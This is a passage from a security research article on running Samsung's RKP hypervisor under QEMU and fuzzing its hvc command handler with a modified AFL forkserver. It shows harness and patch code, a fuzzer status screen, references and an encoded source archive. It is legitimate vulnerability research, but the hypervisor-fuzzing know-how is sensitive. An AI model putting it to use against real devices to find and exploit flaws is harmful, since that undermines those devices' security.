`tcg_ctx` to the first array entry after the first invocation. // qemu/tcg/translate-all.c __thread TCGContext *tcg_ctx; // qemu/tcg/tcg.c void tcg_register_thread(void) { static bool first = true; if (!first) { tcg_ctx = tcg_ctxs[0]; return; } first = false; ... *s = tcg_init_ctx; ... /* Claim an entry in tcg_ctxs */ n = atomic_fetch_inc(&n_tcg_ctxs); g_assert(n < ms->smp.max_cpus); atomic_set(&tcg_ctxs[n], s); tcg_ctx = s; ... } --------[ 3.3.2.2 - Framework support Let's now demonstrate how to reach the state where forkserver is up and running via the framework. After the framework initialization we call `__break_start_forkserver()` from EL1 (48) which in turn calls `brk` with instruction specific syndrome 3 which corresponds to the `start_forkserver` hypercall. This eventually causes the forkserver to be started in the parent QEMU process as discussed above. Each new child QEMU process, will resume guest VM execution in its vCPU at the instruction immediately following `__break_start_forkserver()` in a guest VM state identical to the one the parent process had before instantiating the forkserver. For example, in our setup the child will continue in (49) invoking the `get_work` hypercall to fetch the test case from the host (technically it will resume from `ret` instruction after `brk #3` in `__break_start_forkserver()` function but you get the idea ;). // framework/main.c void el1_main(void) { framework_rkp_init(); rkp_call(RKP_DEF_INIT, 0, 0, 0, 0, 0); __break_start_forkserver(0); /* (48) */ /* fuzzing loop */ for(; ;){ __break_get_work(); /* (49) */ __break_start_work(); rkp_call_fuzz_afl((*(uint64_t*)(&rand_buf)), &rand_buf); /* (50) */ __break_end_work(0); } } // framework/afl.S __break_start_forkserver: brk #3 ret ENDPROC(__break_start_forkserver) __break_get_work: ldr x0, =rand_buf mov x1, 0x1000 brk #4 ret ENDPROC(__break_get_work) __break_start_work: mov x0, #RKP_VMM_START add x1, x0, #RKP_VMM_SIZE brk #5 ret ENDPROC(__break_start_work) rkp_call_fuzz_afl: hvc #0 ret ENDPROC(rkp_call_fuzz_afl) __break_end_work: // x0 is the exit value brk #6 ret ENDPROC(__break_end_work) For demonstration purposes and to verify that the fuzzer works as expected, we will be using the same fuzzing harness as with the dummy fuzzer to fuzz the `hvc` command ids. If everything works as expected we should have at least one crash by invoking command 0x9b. As mentioned above, framework function `__break_get_work()` (49) invokes qemu `get_work` hypercall (51). There, the child QEMU reads the AFL created test case and copies its contents in guest VM `rand_buf`. In the next step, `__break_start_work()` framework function invokes `start_work` hypercall (52) which sets the child process to only track and edit the AFL bitmap for addresses in the RKP range. // qemu/target/arm/patch.c static target_ulong get_work(CPUState *cs, CPUARMState *env, /* (51) */ target_ulong guest_ptr, target_ulong sz) { int l = 0x1000; uint8_t buf[l]; assert(afl_start == 0); fp = fopen(afl_file, "rb"); if(!fp) { perror(afl_file); return -1; } fread(buf, l, 1, fp); // must add checks if (cpu_memory_rw_debug(cs, guest_ptr, buf, l, 1) < 0) { fprintf(stderr, " Cannot access memory\n"); return -1; } fclose(fp); return retsz; } static target_ulong start_work(CPUState *cs, CPUArchState *env, /* (52) */ target_ulong start, target_ulong end) { afl_start_code = start; afl_end_code = end; afl_start = 1; return 0; } The initial testcase provided to AFL must execute without crashing. For that we use command id 0x98 which as shown in the snippet simply writes in the debug log and exits. At long last, we can invoke and fuzz the `hvc` handler. We read the first QWORD (50) from the provided test case as the command id and simply use `rand_buf` as the second argument as discussed in the dummy fuzzer harness. // vmm-G955FXXU4CRJ5.elf void rkp_main(uint64_t command, exception_frame *exception_frame) { ... switch ( hvc_cmd ) { ... case 0x98: rkp_debug_log("RKP_a3d40901", 0, 0, 0); // CFP_JOPP_INIT break; ... However, not long after the `hvc` invocation our system crashes. The problem lies in the basic block translations performed by the QEMU parent process as we elaborate on in the next section. --------[ 3.3.2.3 - Handling parent translations For QEMU to perform basic block translations for ARM architectures, it uses `mmu_idx` to distinguish translation regimes, such as Non-Secure EL1 Stage 1, Non-Secure EL1 Stage 2 etc. (for more details refer to ARMMMUIdx enum definition under qemu/target/arm/cpu.h). As shown below, to evaluate the current `mmu_idx` it relies on the current CPU PSTATE register (53). This process is normally performed by the vCPU thread during the guest VM emulation. // qemu/target/arm/helper.c int cpu_mmu_index(CPUARMState *env, bool ifetch) { return arm_to_core_mmu_idx(arm_mmu_idx(env)); } ARMMMUIdx arm_mmu_idx(CPUARMState *env) { int el; ... el = arm_current_el(env); if (el < 2 && arm_is_secure_below_el3(env)) { return ARMMMUIdx_S1SE0 + el; } else { return ARMMMUIdx_S12NSE0 + el; } } // qemu/target/arm/cpu.h static inline int arm_current_el(CPUARMState *env) { ... if (is_a64(env)) { return extract32(env->pstate, 2, 2); /* (53) */ } ... } As earlier discussed, in QEMU/AFL when a child process encounters a basic block previously not translated, it instructs (38)-(55) the parent to mirror the basic block translation process (37)-(57) so that next children will have cached copies to avoid re-translation and improve performance [07]. To achieve this, the child sends (55) the current pc address along with other information for the parent to perform the translation (57) _within its own CPU state_. Moreover, in our setup the parent translation is performed by the IO thread because vCPU thread is terminated during the forkserver instantiation. The problem of course lies in a state inconsistency between the child and the parent. We will demonstrate the state inconsistency via an example. When the parent becomes the forkserver in our setup/framework it is executing in EL1. While the child process executes, its vCPU will emulate the `hvc` invocation, change its state to EL2 to continue with the emulation of the hypervisor code and almost certainly encounter new basic blocks. As mentioned above, it will instruct the parent to do the translation as well. As there is no way for the parent to be aware of the child state changes it will remain in EL1. It should be obvious now that when the parent tries to translate the EL2 basic blocks while being in EL1 will fail. So the child must also send its PSTATE (54) which the parent uses to set its own PSTATE (56) and then perform the translation correctly. // qemu/accel/tcg/cpu-exec.c static inline TranslationBlock *tb_find(CPUState *cpu, ...) { ... if (tb == NULL) { ... CPUArchState *env = (CPUArchState *)cpu->env_ptr; /* (54) */ pstate = env->pstate; /* * AFL_QEMU_CPU_SNIPPET1 is a macro for * afl_request_tsl(pc, cs_base, flags, cf_mask, pstate); */ AFL_QEMU_CPU_SNIPPET1; /* (55) */ ... } ... } // qemu/afl-qemu-cpu-inc.h void afl_wait_tsl(CPUState *cpu, int fd) { ... CPUArchState *env = (CPUArchState *)cpu->env_ptr; while (1) { // loop until child terminates ... env->pstate = t.pstate; /* (56) */ tb = tb_htable_lookup(cpu, t.pc, t.cs_base, t.flags, t.cf_mask); /* (57) */ ... } ... } Furthermore, as stated above the parent process is originally in EL1 during the forkserver instantiation. However, the child can terminate (hopefully) during execution in other ELs. In this case, the parent might be left in the EL the child was during the crash (if new basic blocks were encountered before crashing) and consequently the next fork child will also be in that EL. However, as previously discussed each child resumes execution right after `__break_start_forkserver()` in EL1 and as a result of being in a different EL, translations will fail causing the child to crash. For this reason, we save the original state before the forkserver initialization (58) and restore it before forking the each next child (59). void afl_forkserver(CPUState *cpu) { ... CPUArchState *env = (CPUArchState *)cpu->env_ptr; afl_fork_pstate = env->pstate; /* (58) */ ... /* forkserver loop */ while (1) { env->pstate = afl_fork_pstate; /* (59) */ ... child_pid = fork(); ... if (!child_pid) { /* Child process */ ... } /* Parent */ ... afl_wait_tsl(cpu, t_fd[0]); ... } } Before executing we need to address some issues previously encountered, namely how to handle aborts, policy violations etc. --------[ 3.3.2.4 - Handling hangs and aborts As shown next, if an abort exception is triggered (60) we terminate child process with exit status -1, which AFL is modified to treat as a crash (62). Additionally, we skip the crash logging function to avoid cluttering the system with logs due to high execution speeds as shown next. // qemu/target/arm/helper.c /* Handle a CPU exception for A and R profile CPUs. ... */ void arm_cpu_do_interrupt(CPUState *cs) { ... // Handle the instruction or data abort if (cs->exception_index == EXCP_PREFETCH_ABORT || /* (60) */ cs->exception_index == EXCP_DATA_ABORT ) { /* * since we are executing in afl, avoid flooding system with crash * logs and instead terminate here * * comment out to see abort logs */ exit(-1); if(handle_abort(cs, env) == -1) { } ... exit(-1); } ... } // afl/afl-fuzz.c static u8 run_target(char** argv, u32 timeout) { ... /* * Policy violation (type of assertion), treat as hang */ if(qemu_mode > 1 && WEXITSTATUS(status) == 32) { return FAULT_TMOUT; /* (61) */ } /* treat all non-zero return values from qemu system as a crash */ if(qemu_mode > 1 && WEXITSTATUS(status) != 0) { return FAULT_CRASH; /* (62) */ } } Furthermore, we chose to treat `rkp_policy_violation()` as a system hang by terminating the child with status 32 (63) which is then identified by AFL (61). Additionally, `vmm_panic()` (64) is treated as a crash. As we previously said, this solution does not scale well because of systems where not all possible hangs can be identified. However, AFL sets watchdog timers for each child execution and if the timer is triggered, the child is terminated. This is the reason we chose to have unhandled `smc` invocations and other unexpected exceptions to loop indefinitely. They might have a small impact in fuzzing performance (loop until timer is triggered) but otherwise allow for a stable system setup. In essence this setup allows for flexibility regarding the way we handle aborts, hangs and generally all erroneous system states, with a failsafe mechanism that guarantees the fuzzing setup robustness even when not all system behavior corner cases have been accounted for. As our understanding of the system improves, more of theses conditions can be incorporated in the fuzzing logic. // qemu/accel/tcg/cpu-exec.c static inline TranslationBlock *tb_find(CPUState *cpu, ...) { ... if (pc == 0xB010DBA4) { // rkp_policy_violation qemu_log("[!] POLICY VIOLATION!!! System Reset!\n"); exit(32); /* (63) */ } if (pc == 0xB010A4CC) { // vmm_panic qemu_log("[!] VMM PANIC!!! We should not be here!!!\n"); /* (64) */ exit(-1); } ... } --------[ 3.3.2.5 - Demonstration We illustrate (show off ;) below an execution snapshot. We can see the fuzzer operating on average at 350-400 executions per second, identifying new paths and crashes, even with our naive fuzzing harness. Lastly, reading one of the crashes reveals the faulting command id 0x9b ;) american fuzzy lop 2.56b-athallas (qemu-system-aarch64) -- process timing ---------------------------------- overall results ----- | run time : 0 days, 0 hrs, 0 min, 38 sec | cycles done : 0 | | last new path : 0 days, 0 hrs, 0 min, 2 sec | total paths : 22 | | last uniq crash : 0 days, 0 hrs, 0 min, 24 sec | uniq crashes : 4 | | last uniq hang : 0 days, 0 hrs, 0 min, 13 sec | uniq hangs : 5 | |- cycle progress ----------------- map coverage ------------------------| | now processing : 7 (31.82%) | map density : 0.44% / 0.67% | | paths timed out : 0 (0.00%) | count coverage : 1.49 bits/tuple | |- stage progress ----------------- findings in depth -------------------| | now trying : havoc | favored paths : 13 (59.09%) | | stage execs : 630/2048 (30.76%)| new edges on : 15 (68.18%) | | total execs : 13.3k | total crashes : 134 (4 unique) | | exec speed : 375.3/sec | total tmouts : 835 (5 unique) | |- fuzzing strategy yields ------------------------ path geometry -------| | bit flips : 7/256, 6/248, 3/232 | levels : 4 | | byte flips : 0/32, 0/24, 0/8 | pending : 15 | | arithmetics : 5/1790, 1/373, 0/35 | pend fav : 7 | | known ints : 2/155, 0/570, 0/331 | own finds : 20 | | dictionary : 0/0, 0/0, 0/0 | imported : n/a | | havoc : 0/8448, 0/0 | stability : 100.00% | | trim : 98.77%/13, 0.00% |------------------------ -------------------------------------------------- [cpu000:109%] $ xxd -e -g4 out/crashes/id:000000,sig:00,src:000000,op:flip2,pos:1 00000000: 8389b000 ----[ 3.4 - Final Comments Using the proposed framework, we have demonstrated a naive fuzzing setup and an advanced setup employing AFL based on TriforceAFL while elaborating on QEMU internals. The proposed solutions can be easily modified to support other setups with full system emulation and in different ELs or security states as well. For example, let's assume the desired target is an EL3 implementation and we wish to fuzz early initialization functionality before interaction with other components or ELs. We can achieve this by identifying the desired location by address similarly to `rkp_policy_violation` and injecting the `start_forkserver` and any other required functionality to that specific location. This is similarly true for trusted OSs and applications. Finally, one of the AFL limitations is the lack of state awareness. After each testcase the framework/guest VM state is reset for the new testcase to be executed. This of course prevents us from finding bugs which depend on more than one `hvc` invocations. A possible solution could be to build harnesses that support such functionality, even though this is not the intended AFL usage and as such it is not guaranteed to have good results. It remains to be verified and other fuzzing solutions could also be examined for state aware fuzzing. --[ 4 - Conclusions The author hopes that this article has been useful to readers who dedicated the time to read it, did not lose motivation despite its size and of course maintained their sanity :) Even though though we attempted to make this (very long) article as complete as possible, there is always room for improvement of both the presented solutions and new features or supported functionalities, as is true with every similar project. Readers are welcome and encouraged to extend/improve the proposed solution or, using the newly found knowledge, develop their own and publish their results. --[ 5 - Thanks First of all, I would like to thank the Phrack Staff for being very accommodating with my various requests and for continuing to deliver such awesome material! This work would have been very different without huku's insightful comments, his very helpful review and him being available to bounce ideas off of. Thanks to argp as well for his helpful review and assistance with various procedural issues. Also, cheers to friends from CENSUS and finally to the many other friends who helped me one way or another through this very demanding journey. Remember, support your local artists, beat your (not only) local fascists, stand in solidarity with the oppressed. Take care. --[ 6 - References [01] https://www.samsungknox.com/en [02] https://www.samsungknox.com/en/blog/real-time-kernel-protection-rkp [03] https://googleprojectzero.blogspot.com/2017/02/ lifting-hyper-visor-bypassing-samsungs.html [04] https://opensource.samsung.com/ [05] http://infocenter.arm.com/help/ index.jsp?topic=/com.arm.doc.den0028b/index.html [06] https://hernan.de/blog/2018/10/30/ super-hexagon-a-journey-from-el0-to-s-el3/ [07] https://github.com/google/AFL/ blob/v2.56b/docs/technical_details.txt#L516 [08] https://github.com/nccgroup/TriforceAFL [09] https://github.com/nccgroup/TriforceAFL/ blob/master/docs/triforce_internals.txt --[ 7 - Source code begin 664 rkp-emu-fuzz-galore.tar.gz M'XL(`-7*,5X``^P\:W?:2++YS*_HL:_'R`-8XF$GSB1[,,B)3K#Q()S'S.0H M`C6@C9!8M7#P[-W[VV]5M]X(C#-)[MW9Z$PLH:Y75U5753\T_L=%E41:7UJ0 MHFO)`M,GY)'IVVP;W'WM_Z:77V#_J37ZHC[P`-[9+?I.5]\1T+7BH MOZ^52EK`R&+I+SQ&":?`Z9%@1LG2M:A/Z,J@_JW-/#^1P3== MYO#F$I>'<>H+WW8#8CH.N34=VR+`W[?#-J!M^\0,X,UH&5!6(UJ`O-ER@6)8 M*,2(EFSWUOL(OR:^-R=JKTZ`J]IK`ZPQY'H']@G.QC/J/.!C+WY'&&@ MU;PU;0>%JI7.J>-]XN^(1>>>RT!PWB=O0FS0P9)!?VKD`@C/850!4`"XC/AT M:OJ6[4Z)/5\X=`X=$9TU&5O.%_C(*H0&XQJ`3D!?(#PJS_/M*:C-(:8?V&.4 MH/3APX=2&4:K1")A2_\U7C"?/"/RJD7*:D^12B%$#$+JI4OO%OD#8=!""N5) M!+P`T847[#_P*NT3O+K0$Z+3L0=J$X8=)F8E0V%6O/8?SN&Z373[#WI&FG)U M!)HN`0-0"72H1V^IOMZV>*4B%OKYXI3<9+@%%<^2&(CQ\GF(\WL<2. MYEP3S)+V.Z7`5=&?P1_(`/V>NF/*2B4,+V?DYUD0+-C9\?'4\Z8.7?C>W^DX M^(/Z7@T$F[*%%]1@F![7(;,/GI?_KR+[;M2G_FZ8_GITTJU$DJ"WN/IO']OROG-;E MDUS^/VTIW_/_-[D@!WE^0,#D,/*&D&;26)1A(<=C_N'!H"J"02I' MBYJA='5S:5QH`WUH]-37:L]0KX8#3=5A>"MRO7D?;1':MA+7U4[_JKM&O:74 M[R,>8)S>2GOX4AML(\T@5R!AI+:8W3%[C&G8LJ`,8B+/E*Y?OM.-=K<[,'3M M5Q6PZT='33G$]R831H.(`D9*@HDK$A#J"!"#"_@*L3IH4'\,BX0(J)OI')Q87Z4"9I M5TCQ&&[A`=>./,JBA@1/I*MXH*"/23%[7EZG&;?/>^I]3!/''MT%PJU-\LN; M_J!;XG\CCWM<*EET(@IE8V2Z+O7+TED)JRSQ"V":CX_V]O?(3V3O=W"?(ZE\P*1#I;$#E0"Y#G,;UBFUCBCR0X8HA6'8KAT81IE19Q*^QPM_UH26)XXY M92#;T%_2HG9JCF>&\(00*('"4J($R5F!J,*UP9S."X`Y$CKEUKO4!B(`**-(C+\4.)8G\""X8U\DQ M\M*':BQ0>R&%,J?V_#FIF>"8$BV- M*5PFD3;P[[*D7P\[`P-GD5O4&L$<2E(.=WB^`W((A-@9]/W,^).A7I[B`TYI M2#F94F=PAK+^*W"+I1:&PRL#!A.G9Z0<0X&1E9/(REEZ+^0UR&8AI-Y;@TQ( M9B#!SIPL!,(1S"DR;2%/S&*\JJAG6JF3P56VXYYLP57NX=O,X3*Z#A\.`J2) M*R7^+;7VI%)IW3/C,%WDM/$\]\#B\UP^/!KUGYI'UVVI$",_$0Z'%!B@&#XS M33Z0E1-GQ1&@=BE#[8\N(U658MS4)/K`>G4>X<6J0G^0\X[+0Z,%V<1(%6(& M3XOEV-U3.'0UIHN`O*)W(\_T+0TBBN\O%T%ND$,P3T7$#?1%A+P-@I$?!_/# MP\/P"5,<$^5BOD2$,HHW3.U;ZJ[5?RE*X>/^"P]MX-U2OYA@>D'+6PKB0&KI M\)(.@S[B8^Y(K77=A=2QR.#UF,@KAFVM,)QQ,Y;E"ME0B*>3P<2QP)-%DN7Z M@"2=(WF45!8I<^QK3"R2F:+`_%LZ0G/;V@QRHF7PUC(\26E+)=9/,N`)`>2"-$ZTBXN43Q37QR11U!JQ ML"!!6:(4&H6NG".OJVJ;D(D;KTLFY@2IZC./C*YMH%L;."<.P$>$>&MU_CH\ M9AZ1RG(3H>.-#KE&A+KHEGDA?LJQ"=%8W5Q@5D$)(=3DYDJY/+1R4Z"9F5`. M4(S)\E[APM>!_'A5%;=PN>N`\>6N`X8E3CDG>27;M0I,TMPRBBW]5C][+WZN M7/Y#6O?'=,SZHOXH9KT[^Z.RS1_O%W*;/Q9+@I.G-'D#M1B[8F;"E(J(]EH, M+%HO2`=!E@J"Q3Q_(O:?"(,L"2JYV)2.3F+6FQW>&R(AU*\SS"C9>)CC&%ID M8S3,\$N`4_SZR.63S2BI"L8V=DVY\V:Y"O(MCW0K\F&@3X[LHI\88N<^:&5$>XS8KV0<&VYY4O$^K"E M<$A^F33`=D\#;/)MK@F MD@E]03RJH@%?'/;XNE_(,QD4Y8"'OOS,H1A6J#W82>T;EAGO'X.B/VO+D5]Y M#(9-11;\,J,SV'UT!KN/SMS^ZU<>EN&:H0]<,^6I?A+R^VA=MDA:O M]D74MZ[U1:S@/2Z7.C8+RA/;@1ESV3'G(\LDH)=5C07@C66)_/",[.UQ*C6V M<.R@O$?VI-14'QK&2(:Z9:0H?<.UQ/0(YV+\3)3"9;UD!_E@A5O(!Y8DUA"! M9H44K23B%:[L13_7EW#6EOKX2Y"$!@9?R47FJ)3?Y/>Y!8Y0Z@3X9R+C,9/D MQ7/26">>]&E/:#_^6?PE0(JN",&P1:EW$CKOY^E30.$UL`V>K1P,P@N?,T8 MB*W+$'IE^I1#N`(7,\VYXK;EP\.V@X?P[G#YJ9!0!F\?S(#IE8N6:?E3PY43 M>,B0+1B9\9!$F>,]%ZD4AU+IW^2LQ%_Q*CK_D>P@5$>F3ZMS&IA.=>*;_Y7:3::K8:B/)+K2NNT^?W\[[>X/L?^/:VC7NGJSCSN._][ MXLZWIS/(^&.)U&7E2;4NUV72A@X'U+9@YC6< MF0Y4OQ#DVXY#.#"+=[9J&/P'%.#$81/T(F:A6%8U%X.S?O^$[\B$;G:(1`,`4#)#SEC&SG7D")T`9X M&B#"M#H\M\V[SKQ)\`DMG3@/7&Q!Q^A`6(2@8_GH.JYP(L:XR``(TUR=Z/V+ MX9OV0"7P?#WHO]:Z:I=\^-#6X<7A(8&Y%_Q[1]2WUP-5UTE_0+3+ZYX&0(`U M:%\-87)<`6+:5:=WT]6N7E3(^M35!FIG6`'$Y*D# MO0=)8%JJ7ZL=#1Z`BOI6!<';@W<5['VG#P'_EQL`@V;2;5^V7T`_RMN[#U1` MMYV;@7J)\D&O]9MS?:@-;X8J>='O=[EB=77P&A**_I3T^CK7S8VN5@A.?3EK M(`%JT9\"->S1C:YQ%6E70W4PN+D>:OTKB;SLOP$E@)QM0.YR7?:O>(=!&_W! M.R2+FN#*1L'>O%2A98`*A+X-!VU4A3X<:)UA"A`Y#ON#8:JGY$I]T=->J%<= M%5I1**3S1M-5":RCZ0BB"=9OVL#WAG<<;0*2B<>4_U6X[8AV@0[0?:VA\"$X MV%O7A!Q"=9V7H>)K7[!>_IS\/X=H61OOSN.>_-]HG2A1_=<\:34Q_Y_*S>_Y M_UM<^[8[=I:0"?E_U5KQ2NGI`42".+T%WBP.%!'\_#:;M!<1%&())_KBLK]CHYU-:_<&SLXUI;\8!`CGD7SH@3#W2TMQTK\EMXX;TNN*O_)=X5 M.\AQ',BDI_B+/_/M/8N.EE/TD_!K2+:NY4AIA?8KI^U2Z(@`3A"<%3H#"%.H M/VQ8>(X]OB.WMA>=J8.TE<;,J+=SV=6Z97GUY%Q:TS`"6V9@XES+#W:D\QCH M<$,?2?(*Z:SR),4Z.JZ81P1#!X34.OG_MM3Y6?7??%G3'\#CGOJOU:@K^?6? M%MR^UW_?X$HJMOF=`;4#RY9QX6>`V9>+*=^W%_5=;6Z.?8^,(2@$--S0Y^=5 M*R08.5"3V;C7RF;V!+=<`Y_!^_E"X7_%]HO#?+S]+E[_+A!^YQB\'9-,JCV\ M(2E2)0K)73``Q:E=V[7H2A"P8@)U)(!B[5_#1(IOF7,0S_9YF+]BSOO/`H/1Z/(*D3&_S4 M0ZD&T6.^IFY^)@5RSR)4-O\>1>QL@\[%-C<@9M0L&L/;/M_NKQO-5Y"$NNI; M0W^I70PS\"&9Z+X%(S)4(4:"P+]UNL=DD3U"8<-^A3^Y>@O%2$@E1Z:C?O!- M?O%WASZL06^1/],'/"`A^O'DR9.SC*L(Z2-7";43^LH:04&3!?B_#L#Z*^E0 MY%%Y-:\-A0V^M4YIDTN<]UX5NFE$*3GR-IXO,C)%3C>J.?B=/ZAB%+LP./'4 M\4:F`[5$Z,?HXB)VL%(-TN?4)?5246MX@'/NW>)M=5HAT1@5!V:PFKKHM5_H MHCP/*X\CLJK+?#=2;&]&7[#+@'8C@%XEKYKXBF;?M?!HU"<3/[(T%E/# MLOVD[00W2*WLZ^.,O'6H$O:K2NB73OQ.-+QN\T\G0M/X"]X*<]%$K/AMLQ)) M%LU#BMA';#F'D\PK!5\UA.W60K?``)#],G<&)3=2)&P103$Z*`3P(-.JE;5/ M'^W\;TVO%^:=7.EA>(XC8<)-1>I`S^1D9%H M:A@E+4K4$NK2IS`HU:LN+GV7BV*8E`V!U.6&A*(Z'?J2MV=9%WZ,XLD9I2'O M2I&C)>TGE51H$)&91Y_B$,P!;#82G'T6>2L;!XX?:S?,T5QY&+[*42C6.\,> M?LFE&)=26ELQ.B+$/,3#F$MCPW1KR5]8;(0WE\VR@*#=4`\I'2?*^GZ4Y('7 MY\S_;ND8RA*V\QSPGOG?*4S]<+#%%2[;,%+GI/W/V0!,-QB,-L(T*J( MN+410)026P!X5*YO!E">A'EA(P#/"5N$5%!(98N0"@JI;!%2XYZCC\XD99?Y&!M1)Z,?O07:ZB6_>,\+I23@@?,I9KPV)G'Q=WUL@"[$2 M3F-Q,V(ZUCK;]SAAR]0280<01,FS&5!.&)7(.:WDS0SD#?0C"VQ@L,OHCO@D M;I%B$S4F+E70F+AC06/BR@6-J7%0T)H>1D7-J6%8U)P:QD7-J3!0U)P*(P7- M&ZP>-Z?"6%%S*@P6-:?":%%S*@R'S?$L/"PV%26N1<.\7@KO9SD?"<\!$[4G M#@3IUUDO#`F>BO*2MY`:B:]CB!9W[GCF>ZZW9+LC:8-?CF_AS^X8%QI@P)\' M",;/QA_?BCOBW=OWU5^W[]FN]_C_G0H_6@D7@Q_2\<_K^6=T_3/ZOI/A<[UO MU/_BO=\2%W@:33U_CP__H?'A3P<(ONU^_[G[]^KU9ZT=U"XO/3:>0O&36^8LXP M$C&*D\?;U?KC0EE_H*L;N0G94:D,1"L[PK&_9(931HN7;T&1=%M M8X1,MJ+1N=)V[EO--W-_Z_/VW]MS/O<_<7[Z-^D8GW/_LV#AY8O&W?^4%%^^ M<.K^Y\MX\K]_VUW&?UP>^3UUW8KRZRI7+JNN6U&7G(^N[]^U^AR]R2/]QF^/ M;JA>MOSJF]WNBQ>L7[6ZGO]Z]H+Y8S',']'@W[JK*^<#\>*1^I(E[L7N^>Z- M=D[SQP_P[6NO-7XJ90_'-KX+UH\?SU.]K'S\I]HQ!)>/(YCX\ZEQ!(7G(C!0 MXXQ09,S"^.D/Q\_)M,W1]$NW_WG=_]YYYS>_55I2LOSFFV\JKJB^IN32U7?< M-LD8QAHO/L?Z7[2PL*B0[W]+%BTJ+"E:L*@(Z[\8T*GU_V4\+%`N_FAP(#EX0"'Q2%`A]=&0I\ M4A$*#%:%`B=J0H%3MX8">F,H<+HI%!AN#@6B&T*!CP7JB&X(^X>;P_[336&_ MWACVG[HU[#]1$_8/5H7]GU2$_1]=&?9_4!3V#UP2]K^;'_:_/2OL/Y81]A]) M"?L]&^;J:>J6?JF7JFGJ_P M$Q'H*;J[7.^1ZEXSZN]XNKD^O&%?8%@B;;!&")RX50R<:I0"Q[$7GY"$8%8" M=90+:CIVX60'Z@;=^YYNMT#%AU'WJ"E:/JF]BD*:<*;NH'1&/OA<-%K2&HWN M-G"'/-V^Z51R"O63;2F:F]3J'B=U/XF<027Z&&)IK2AS5=+:4'IZ2'.YI4-F MGZ!U<1\I^KT8NS\:11UR"O1QLYBG-8O"BP:>5]`.2QG!.Q,LGA$!N41F\+`T M,W@[8/DB=0QA/CDH#Z,T:43@Y`2]Z+]Z!74<7ROHAY*INUG,;&]^:=W6YD1% M4\6,%W>+U&[R9/P,@V<-ZP'U?FEFP1.2-:97TJX%G`2U.I=\U268GY"D:#V0 M52#2#1R?I.6AKP)XS2[&I5VL(P'Z)%+3NQ*H^,UDTKE>@-S'H''+VB+F*^[I M[11IH`>YFSF>K%W.<."Z@`LX?X/1GI8M>7RR-A_])Y-B.I&UKZ.M"":>(Z8K M=X+F0OVC[-@\$K19L3Y?@I9CL[F/J-BHP^:N)$/.ZL&:\)R? M_0GP7GLYO.'78_SKN#3'M$%/LM8U3=%W2(HN@=S9^BCZ=^]/ MUMI$18](64'P^E0A:G=1Y2<7"U1[7!*#$=BB7%9T#YGT'X"^.9'6U)^-UL;D M&MYPP&_*\!M3AA32!R4J>'*FSN%7Z[XU.B_ZQV$W6WIIEMHYYK MJU\^6B>?VDNH"W/5:MBV6VW=;+1=7']HM-XS1ZWVBE30*K2.T+X$?R'5I,\E MDQ[VR!Q&'LWRO0W_?`OK[ACF=U22,&]%9__G.3;B[41>S/EQ!#X5QKL#[_UX M^UN47[I(&&B-^8>2H@6@CV'DY>;\GYVPQO4F.?`9QM,QWA#&.X7Q3DHRUGU" M\+B4&(Q62*\,1DEK?NN^K>SO`N05T]3J8SG4<9](^H_AJ^MGD/ZC=-+OS2+] M'B?IZ^:2_BCF&)D6"AR^,!0XFAT*O.4*!=ZY*!1X[[)0X/U%H<"'9:&`3VKK M)67OIZV"VLMK%_;KCUF-N'96'_^XO"_O`2^=!1^TP!ZP\?: M4C7VH_IT16_(@HZ=BKYJKJ+?(O,:!SP9\!F`PP]ES+]6-M=^3!<[ZU=Y_@<_"?X-8[^;+>)H0402"OHEL>"J.#R2P>/@ M9#R@B\R-PBSHKH#E^*;%H\?&`XNZXU?@(6->C',8N,MSXLW)7#O;!+N_C\HZ M1YPH'^3O\,65S^1EQKERW273)Y%HM%:1]_3V`^;V2H;>#F=D%N;G6+&14CD> M=AOK>0&5QF08SX/;K@6II=P7K:!78G&51"H&;>]1M/NG\5Z1"OF$H(3]M(7$ M@7KXO7`FX>`#V%<1`VN/`">"N,E\5<0Z\-)&Q@,_KQ6G7:J@C]<%X%MHP*)*6[?F-JC9S;5EV9U+4V=^/CC^6> M\?;-6WQA3>L"H:J>A*HCP&V$+-[;4[0`>)CB2HJI3[(-8@U=$*2"S8+5)(&7XK)9>0MWEC>DG#P>>B7 M9?="]D^BT6RTMWOG*HOA,\5=R`4Z1>'?ZTT[;G$](NC&>L]@W9A[3"1CW2\M M.VP1(!NOY7JR])Q4T1WK8YW'FQ?&>9G<,[0KX9L\OV(U53-@WAE:[I9RO2U9 MZ2Y&WS;$HPX/:2UBY@#RBUK$L9=W'YZA'0=-!^(9]S7"EAR_.#8T>/+;OR'Q MWJCH3),;M?9'F^R&3C!>>:JB'X'O>9#/E<'W5-BVC&C@'?A=#(?[DJ%'WF]$ MC)^'?4G$'B3)I',=]M&QU^DS@),KF_R85^O9Z`B/(XCMJU++AV2+#CZB>U'" MYECVBFX?B]>``CF0Q^UJ<"C=JY0\Y`'R0!?&EM%N(S&EP4'=HLPQ6M$KP5-$ M*:-="9XN?@&+8"\1P$,$C00>920-M()'/MH-X"&"1QYH\D%;0>9<\M&N`'T9 MOX"QK@2'Z9=8*S?6D?"#^NE4*WDIK>4[M(8DM;I159V-LRFM\>XYZ5/(&]D/WB22W>TBJVH^Y2W@3D+ON8+O?/F_H>9GS$$5?CO))T"?' MUIAEY]6PF4SB>VHO]A&PL-=PS^M M#O_^V;7EZMR]"KF&*E37WFE\)PAYV?[AH6BM"+V)/&>4QKICO6+,_EA\@PPN M!]M>#"8;]XEJ;Y)-/KM>ZT]$:T=S5FL?$*U8`[ZYX&G$*=#-X[4->^7!7O.L MV,'V.H981%0WU*76[64_*4`,B=E;I;$RC>Y5.^+F9J>;$P)\GN#]9C7XG.`] MK`AYMVS"$*>VGV+8(LR/3-BM5G[@N]+,SQGV;W^-4+Z7T?FEV01KH^"SHNZ5HB.?)?(\`_@;X=B126F>>LB;W M=!3[&N(9QMX(_-?RL!Y$YP#O`1KF/#[?.]V\##G)G_WQ8CO;Y#CG2^R7*%G7 M'Y\U;0J?V-6'MZ&M;F^G*#9QS&[;VN:\;J:9G_PCQDXT<[M=MZ`^T_)Y+MDF MXV-YS'8]9NN]),I!%Z*2DIO7%C=LT1[-')F._%>#T)UZ0(\_8[ M89OTLB1:TX[8DDS.0WS?+X`F#W"/@]+F+9!J'G#TW/*0^WFG(_=YYT5W3*]Y MV[W?F9:[WUDE7%#0)$PKJ+HOZ=#;E-;T,.PQ7W`,O(?]Y9H+$(EW9Z*U M?)Z(=_X\:=UM(/YU_!?T22MOZ,O$F)R_%;M?=;9N4K8A1W^Q6!WP_Q3CQ[QA^_`;C!\QS_R3CC M7P=^U\<=?^+YXUEK';.OO1XU?7DT!XXO[T+PWG2>\JZ/(V\>^.7'E=?TWS]' 